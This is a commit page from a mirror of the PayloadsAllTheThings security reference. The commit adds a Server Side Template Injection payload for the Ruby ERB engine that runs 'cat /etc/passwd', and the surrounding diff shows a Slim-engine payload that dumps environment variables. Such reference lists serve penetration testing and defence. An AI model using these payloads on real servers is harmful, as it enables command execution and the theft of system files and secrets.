Mirrors/PayloadsAllTheThings
2
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2025-01-21 01:14:13 +00:00
Code Issues Projects Releases Packages Wiki Activity

Adding Execute code using SSTI for ERB engine.

Browse source
This commit is contained in:
idealphase 2020-04-30 17:13:58 +07:00 committed by GitHub
parent 04899355ad
commit 7f1fb32980
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
1 changed files with 7 additions and 1 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

6
Server Side Template Injection/README.md
View file

@ -97,6 +97,12 @@ Execute code using SSTI for Slim engine.
#{ %x|env| }
```
Execute code using SSTI for ERB engine.
```ruby
<%= system('cat /etc/passwd') %>
```
## Java
### Basic injection